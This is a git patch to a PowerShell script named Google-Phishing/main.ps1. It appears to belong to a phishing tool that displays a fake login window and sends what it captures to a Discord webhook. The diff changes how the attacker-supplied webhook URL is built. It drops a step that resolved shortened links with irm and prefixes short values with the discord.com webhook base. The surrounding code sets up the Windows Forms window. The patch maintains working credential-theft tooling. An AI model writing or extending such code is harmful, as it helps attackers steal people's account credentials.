From 95ef3e4271911424196b36b2302554a737006661 Mon Sep 17 00:00:00 2001 From: egieb <93350544+beigeworm@users.noreply.github.com> Date: Thu, 19 Jun 2025 16:51:33 +0000 Subject: [PATCH] Update main.ps1 --- Google-Phishing/main.ps1 | 6 ++++-- 1 file changed, 4 insertions(+), 2 deletions(-) diff --git a/Google-Phishing/main.ps1 b/Google-Phishing/main.ps1 index e82c026..f287dea 100644 --- a/Google-Phishing/main.ps1 +++ b/Google-Phishing/main.ps1 @@ -15,8 +15,10 @@ $memoryStream = New-Object IO.MemoryStream($imageBytes, 0, $imageBytes.Length) $memoryStream.Write($imageBytes, 0, $imageBytes.Length); $image = [System.Drawing.Image]::FromStream($memoryStream) -# shortened URL Detection -if ($dc.Ln -ne 121){Write-Host "Shortened Webhook URL Detected.." ; $dc = (irm $dc).url} +$dc = "$dc" +if ($dc.Length -lt 120){ + $dc = ("https://discord.com/api/webhooks/" + "$dc") +} $setupwindow = New-Object System.Windows.Forms.Form $setupwindow.ClientSize = '600,450'